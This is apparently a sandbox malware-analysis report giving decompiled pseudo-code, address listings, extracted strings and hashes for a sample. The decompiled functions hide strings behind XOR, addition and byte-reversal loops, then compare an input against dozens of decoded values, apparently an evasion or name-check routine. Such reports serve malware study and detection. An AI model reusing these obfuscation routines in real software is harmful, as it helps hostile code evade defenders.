				do {
					 *(_t687 + _t538 + 0x288) =  *(_t687 + _t538 + 0x288) ^  *(_t687 + _t538 + 0x17c);
					_t538 = _t538 + 1;
				} while (_t538 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t539 = 0;
				do {
					 *((char*)(_t687 + _t539 + 0x210)) =  *((intOrPtr*)(_t687 + _t539 + 0x210)) +  *((intOrPtr*)(_t687 + _t539 + 0x17c));
					_t539 = _t539 + 1;
				} while (_t539 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t540 = 0;
				do {
					 *(_t687 + _t540 + 0x1f8) =  *(_t687 + _t540 + 0x1f8) ^  *(_t687 + _t540 + 0x17c);
					_t540 = _t540 + 1;
				} while (_t540 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t542 = E00407370( &_a380);
				_t688 = _t687 + 8;
				_a92 = _t542;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t543 = 0;
				do {
					 *(_t688 + _t543 + 0x280) =  *(_t688 + _t543 + 0x280) ^ 0x000000fc;
					_t543 = _t543 + 1;
				} while (_t543 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t576 = E00407370( &_a380);
				_t689 = _t688 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, 8,  &_a776);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t548 = 0;
				do {
					 *(_t689 + _t548 + 0x218) =  *(_t689 + _t548 + 0x218) ^ 0x00000001;
					_t548 = _t548 + 1;
				} while (_t548 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t551 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t679 = _t551;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t552 = E00407370( &_a388);
				_t690 = _t689 + 8;
				_t682 = _t552;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t553 = 0;
				do {
					 *(_t690 + _t553 + 0x1b8) =  *(_t690 + _t553 + 0x1b8) ^ 0x000000d4;
					_t553 = _t553 + 1;
				} while (_t553 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t554 = 0;
				do {
					 *((char*)(_t690 + _t554 + 0x240)) =  *((intOrPtr*)(_t690 + _t554 + 0x240)) +  *((intOrPtr*)(_t690 + _t554 + 0x188));
					_t554 = _t554 + 1;
				} while (_t554 < 7);
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t557 = E004073E0( &_a392, 3,  &_a28);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t596 = 0;
				do {
					 *((intOrPtr*)(_t690 + _t596 + 0x14)) =  *((intOrPtr*)(_t690 + _t596 + 0x14)) +  *((intOrPtr*)(_t690 + _t596 + 0x188));
					_t596 = _t596 + 1;
				} while (_t596 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t677 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t679;
				_a344 = _t576;
				_a360 = _t682;
				_a368 =  &_a576;
				_a372 = _t557;
				_a376 =  &_a20;
				_t680 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t561 = E00425320(_t677,  *((intOrPtr*)(_t690 + 0x84 + _t680 * 4)));
					_t690 = _t690 + 8;
					if(_t561 != 0) {
						break;
					}
					_t680 = _t680 + 1;
					if(_t680 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t690 = _t690 + 4;
						}
						_t562 = 1;
					}
					L34:
					 *[fs:0x0] = _a900;
					return E00424873(_t562, _a896);
				}
				if(_a892 < 0x10) {
					_t562 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t690 = _t690 + 4;
					_t562 = 0;
				}
				goto L34;
			}

0x00409f47
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f7
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a935
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x0040adef
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

c, xrefs: 0040A98F
g, xrefs: 0040A0A9
I, xrefs: 0040A834
;, xrefs: 0040A62E
$, xrefs: 0040A7EC
&, xrefs: 0040A51D
{, xrefs: 0040A170
', xrefs: 0040A844
`, xrefs: 0040A68E
d, xrefs: 0040A878
^, xrefs: 0040A595
\, xrefs: 0040A03A
{, xrefs: 0040AA4F
@, xrefs: 0040A030
I, xrefs: 0040A58D
", xrefs: 0040A047
d, xrefs: 0040A96F
L, xrefs: 0040AA35
B, xrefs: 00409F86
9, xrefs: 0040A1D2
}, xrefs: 0040A505
V, xrefs: 0040A75E
O, xrefs: 0040A5D5
J, xrefs: 0040AA4A
+, xrefs: 0040A83C
r, xrefs: 0040A860
&, xrefs: 0040A32F
L, xrefs: 0040A04F
h, xrefs: 0040A69E
K, xrefs: 00409F8E
2, xrefs: 0040A3DA
Z, xrefs: 0040AA1E
O, xrefs: 00409F6E
9, xrefs: 0040A057
*, xrefs: 0040A5A5
_, xrefs: 0040A61E
d, xrefs: 0040A160
E, xrefs: 0040A03F
:, xrefs: 0040A3E2
", xrefs: 0040AA3D
4, xrefs: 0040AA23
;, xrefs: 0040A5BD
, xrefs: 0040A4FD
-, xrefs: 0040A33F
D, xrefs: 0040A7E4
t, xrefs: 0040A858
F, xrefs: 0040A63E
E, xrefs: 0040A236
E, xrefs: 0040AA59
_, xrefs: 0040A814
., xrefs: 00409FA0
}, xrefs: 0040A34F
), xrefs: 0040A8BB
#, xrefs: 0040A626
!, xrefs: 0040A565
., xrefs: 00409F96
j, xrefs: 0040A0B1
7, xrefs: 0040A5C5
l, xrefs: 0040A987
^, xrefs: 00409F7E
:, xrefs: 0040A80C
P, xrefs: 0040A64E
T, xrefs: 0040A7DC
C, xrefs: 00409F76
], xrefs: 0040A97F
?, xrefs: 0040A555
s, xrefs: 0040A804
d, xrefs: 0040A868
[, xrefs: 0040A1F2
u, xrefs: 0040A880
o, xrefs: 0040A870
p, xrefs: 0040A3C2
5, xrefs: 0040A646
P, xrefs: 0040A766
H, xrefs: 0040A0A1
V, xrefs: 00409F66

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $!$"$"$#$$$&$&$'$)$*$+$-$.$.$2$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$L$L$O$O$P$P$T$V$V$Z$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$j$l$o$p$r$s$t$u${${$}$}
API String ID: 0-3967217698
Opcode ID: ffa1e3fc69652a11b1a6c6df878d9b27e8738cfaffb22d8a44fe04aed7599e5e
Instruction ID: c25c44ad86f806f1bc6481ccfacf67464102ede46037e78e9a54b81988712fa8
Opcode Fuzzy Hash: ffa1e3fc69652a11b1a6c6df878d9b27e8738cfaffb22d8a44fe04aed7599e5e
Instruction Fuzzy Hash: 6A82A03040C7C29AD376CA3884487CBBFD56BE6324F488B9DD1ED4A2D2DA75024AD767

Uniqueness

Uniqueness Score: -1.00%

Function 00404990, Relevance: 77.9, Strings: 62, Instructions: 363
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00404990(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				intOrPtr _v28;
				signed char _v36;
				signed char _v37;
				signed char _v38;
				signed char _v39;
				signed char _v40;
				signed char _v41;
				signed char _v42;
				signed char _v43;
				signed char _v44;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				signed char _v64;
				signed char _v65;
				signed char _v66;
				signed char _v67;
				signed char _v68;
				signed char _v69;
				signed char _v70;
				signed char _v71;
				signed char _v72;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v120;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				signed char _v149;
				signed char _v150;
				signed char _v151;
				signed char _v152;
				signed char _v153;
				signed char _v154;
				signed char _v155;
				signed char _v156;
				signed int _v157;
				signed int _v158;
				signed int _v159;
				signed int _v160;
				signed int _v161;
				signed int _v162;
				signed int _v163;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				signed int _v170;
				signed int _v171;
				signed int _v172;
				signed int _v173;
				signed int _v174;
				signed int _v175;
				signed int _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				signed int _v184;
				signed int _v185;
				signed int _v186;
				signed int _v187;
				signed int _v188;
				signed int _v189;
				signed int _v190;
				signed int _v191;
				signed int _v192;
				signed int* _v196;
				signed char* _v200;
				intOrPtr _v204;
				signed int* _v208;
				char* _v212;
				char* _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				char* _v228;
				char* _v232;
				char* _v236;
				intOrPtr _v240;
				signed int* _v244;
				intOrPtr _v248;
				char _v249;
				intOrPtr _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				intOrPtr _v260;
				char _v264;
				intOrPtr _t281;
				char* _t284;
				signed int* _t286;
				void* _t287;
				void* _t294;
				char _t309;
				void* _t321;
				signed int _t327;
				char _t331;
				void* _t342;
				intOrPtr _t386;
				char _t389;
				char _t390;
				char _t391;
				intOrPtr _t393;
				void* _t395;

				_t395 =  &_v236;
				_t281 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t281;
				_v107 = 2;
				_v106 = 2;
				_v135 = 2;
				_push(9);
				_push( &_v112);
				_v112 = 0xed;
				_v111 = 0x68;
				_v110 = 0x9b;
				_v109 = 0x28;
				_v108 = 0x1e;
				_v105 = 0x48;
				_v104 = 0xd;
				_v140 = 0x6c;
				_v139 = 9;
				_v138 = 0x71;
				_v137 = 1;
				_v136 = 0x6d;
				_v134 = 0x70;
				_v133 = 0x15;
				_v132 = 0x67;
				_t284 = E00404720( &_v140);
				_push(9);
				_v232 = _t284;
				_push( &_v24);
				_v24 = 0xc1;
				_v23 = 0x6a;
				_v22 = 0x1d;
				_v21 = 4;
				_v20 = 0x88;
				_v19 = 0x6c;
				_v18 = 0x4b;
				_v17 = 0xba;
				_v16 = 0x88;
				_v148 = 0x33;
				_v147 = 0x5d;
				_v146 = 0x32;
				_v145 = 0x56;
				_v144 = 0x65;
				_v143 = 0x57;
				_v142 = 0x3c;
				_v141 = 0x4e;
				_v140 = 0x20;
				_t286 = E00404720( &_v148);
				_v163 = 0x15;
				_t327 = 0;
				_v244 = _t286;
				_v164 = 0xd6;
				_v162 = 0x10;
				_v161 = 0x15;
				_v160 = 0x4c;
				_v159 = 0xc6;
				_v158 = 0x55;
				_v157 = 4;
				_t287 = 0;
				_t389 = 7;
				do {
					_t331 =  *((intOrPtr*)(_t395 + _t287 + 0x60));
					 *((char*)(_t395 + _t287 + 0x60)) =  *((intOrPtr*)(_t395 + _t389 + 0x60));
					_t287 = _t287 + 1;
					 *((char*)(_t395 + _t389 + 0x60)) = _t331;
					_t389 = _t389 - 1;
				} while (_t287 < _t389);
				_v155 = _v163 ^ 0x00000023;
				_v156 = _v164 ^ 0x00000065;
				_v152 = _v160 ^ 0x0000006e;
				_v153 = _v161 ^ 0x00000025;
				_v154 = _v162 ^ 0x000000a1;
				_v149 = _v157 ^ 0x000000d6;
				_v150 = _v158 ^ 0x00000061;
				_v151 = _v159 ^ 0x00000075;
				_v92 = 0x61;
				_v91 = 0x76;
				_v90 = 0x67;
				_v89 = 0x75;
				_v88 = 0x70;
				_v87 = 0x73;
				_v86 = 0x76;
				_v85 = 0x63;
				_v84 = 0x15;
				_v164 = 0x6b;
				_v163 = 0x61;
				_v162 = 0x76;
				_v161 = 0x73;
				_v160 = 0x76;
				_v159 = 0x63;
				_v158 = 0x15;
				_v176 = 0xd7;
				_v175 = 0x9a;
				_v174 = 0xc1;
				_v173 = 0x7f;
				_v172 = 0xc1;
				_v171 = 0xa5;
				_v170 = 0xbd;
				_v169 = 0xc8;
				_v168 = 0x48;
				_t294 = 0;
				_t390 = 8;
				do {
					_v249 =  *((intOrPtr*)(_t395 + _t294 + 0x54));
					 *((char*)(_t395 + _t294 + 0x54)) =  *((intOrPtr*)(_t395 + _t390 + 0x54));
					_t294 = _t294 + 1;
					 *((char*)(_t395 + _t390 + 0x54)) = _v249;
					_t390 = _t390 - 1;
				} while (_t294 < _t390);
				_v44 = _v176 ^ 0x0000003d;
				_v42 = _v174 ^ 0x000000da;
				_v43 = _v175 ^ 0x000000b8;
				_v40 = _v172 ^ 0x000000a0;
				_v41 = _v173 ^ 0x000000d7;
				_v38 = _v170 ^ 0x000000a4;
				_v39 = _v171 ^ 0x0000001b;
				_v104 = 0x73;
				_push(9);
				_v36 = _v168 ^ 0x000000d7;
				_push( &_v68);
				_v37 = _v169 ^ 0x000000e8;
				 *0x431c83 = 0x6c;
				_v116 = 0x64;
				_v115 = 0x72;
				_v114 = 0x77;
				_v113 = 0x65;
				_v112 = 0x62;
				_v111 = 0x75;
				_v110 = 0x70;
				_v109 = 0x77;
				_v108 = 0x15;
				_v103 = 0x70;
				_v102 = 0x69;
				_v101 = 0x64;
				_v100 = 0x65;
				_v99 = 0x72;
				_v98 = 0x6d;
				_v97 = 0x6c;
				_v96 = 0x15;
				_v68 = 0x15;
				_v67 = 0x6d;
				_v66 = 6;
				_v65 = 6;
				_v64 = 0x34;
				_v63 = 0xa9;
				_v62 = 0x5f;
				_v61 = 3;
				_v60 = 0x7d;
				_v176 = 0xde;
				_v175 = 0xbf;
				_v174 = 0xca;
				_v173 = 0xbe;
				_v172 = 0xd1;
				_v171 = 0xb5;
				_v170 = 0xda;
				_v169 = 0xad;
				_v168 = 0xc3;
				_t386 = E00404720( &_v176);
				_v256 = 0x6b;
				_v255 = 0x61;
				_v254 = 0x76;
				_v253 = 0x15;
				_v88 = 0x6d;
				_v87 = 0x63;
				_v86 = 0x75;
				_v85 = 0x70;
				_push(8);
				_push( &_v144);
				_v84 = 0x64;
				_v83 = 0x61;
				_v82 = 0x74;
				_v81 = 0x65;
				_v80 = 0x15;
				_v152 = 0x74;
				_v151 = 0x62;
				_v150 = 0x6d;
				_v149 = 0x6f;
				_v148 = 0x6e;
				_v147 = 0x15;
				_v144 = 0x6e;
				_v143 = 0x6a;
				_v142 = 0x52;
				_v141 = 0xa9;
				_v140 = 0xd7;
				_v139 = 0xd9;
				_v138 = 0xe8;
				_v137 = 0x17;
				_v184 = 0x11;
				_v183 = 0x66;
				_v182 = 0x13;
				_v181 = 0x72;
				_v180 = 7;
				_v179 = 0x64;
				_v178 = 8;
				_v177 = 0x7c;
				_t393 = E00404720( &_v184);
				_v192 = 0x69;
				_v191 = 0xc3;
				_v190 = 0xd5;
				_v189 = 0x26;
				_v188 = 0xb9;
				_v187 = 0x12;
				_v186 = 0xca;
				_v185 = 0xbd;
				_v184 = 0x83;
				_t342 = 0;
				_t391 = 8;
				do {
					_t309 =  *((intOrPtr*)(_t395 + _t342 + 0x5c));
					 *((char*)(_t395 + _t342 + 0x5c)) =  *((intOrPtr*)(_t395 + _t391 + 0x5c));
					_t342 = _t342 + 1;
					 *((char*)(_t395 + _t391 + 0x5c)) = _t309;
					_t391 = _t391 - 1;
				} while (_t342 < _t391);
				_v72 = _v192 ^ 0x000000f4;
				_v71 = _v191 ^ 0x000000c8;
				_v70 = _v190 ^ 0x000000ab;
				_v69 = _v189 ^ 0x00000067;
				_v68 = _v188 ^ 0x000000da;
				_v67 = _v187 ^ 0x0000004a;
				_v66 = _v186 ^ 0x000000a1;
				_v65 = _v185 ^ 0x000000f2;
				_v64 = _v184 ^ 0x00000069;
				_v252 = _v256;
				_t243 =  &_v108; // 0x65
				_v248 = _v260;
				_v244 =  &_v172;
				_v240 = _t243;
				_v236 =  &_v180;
				_v232 =  &_v60;
				_v228 =  &_v132;
				_t253 =  &_v120; // 0x62
				_v224 = _t253;
				_v220 = _t386;
				_v216 =  &_v264;
				_v212 =  &_v96;
				_v204 = _t393;
				 *0x431c83 = 0x6c;
				_v192 = 0x77;
				_v191 = 0x75;
				_v190 = 0x70;
				_v189 = 0x64;
				_v188 = 0x6d;
				_v187 = 0x67;
				_v186 = 0x72;
				_v185 = 0;
				_v208 =  &_v160;
				_v200 =  &_v72;
				_v196 =  &_v192;
				while(1) {
					_t321 = E00425320(_v28,  *((intOrPtr*)(_t395 + 0x18 + _t327 * 4)));
					_t395 = _t395 + 8;
					if(_t321 != 0) {
						break;
					}
					_t327 = _t327 + 1;
					if(_t327 < 0xf) {
						continue;
					} else {
						return E00424873(_t321, _v36);
					}
					L11:
				}
				return E00424873(1, _v36);
				goto L11;
			}

0x00404990
0x00404996
0x0040499c
0x004049a6
0x004049ad
0x004049b4
0x004049b8
0x004049c3
0x004049c8
0x004049d0
0x004049d8
0x004049e0
0x004049e8
0x004049f0
0x004049f8
0x00404a00
0x00404a05
0x00404a0a
0x00404a0f
0x00404a14
0x00404a19
0x00404a1e
0x00404a22
0x00404a27
0x00404a2c
0x00404a35
0x00404a3b
0x00404a40
0x00404a48
0x00404a50
0x00404a58
0x00404a60
0x00404a67
